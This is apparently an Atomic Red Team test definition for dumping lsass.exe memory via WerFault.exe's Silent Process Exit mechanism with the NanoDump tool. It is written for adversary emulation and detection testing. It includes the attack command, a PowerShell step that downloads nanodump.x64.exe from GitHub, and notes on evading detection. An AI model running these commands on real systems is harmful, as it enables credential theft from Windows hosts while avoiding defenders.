WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger specific actions for a monitored process in one of two scenarios; either the process terminates itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. The major advantage of this technique is that it does not cause lsass.exe to crash, and since WerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides the added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, from an attacker standpoint this is appealing as their illicit credential extraction will appear benign because from a defender’s viewpoint it’s within the realm of normal activity. Upon successful execution, you should find the dump file in directory of your choice or "%temp%\SilentProcessExit" by default. Input arguments
Attack command PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
Cleanup command rmdir "#{output_folder}" /s /q >nul 2> nul
Prerequisite NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) Check if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe" GUIDef571192-79c2-4da8-8b26-4231d62e95ff | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition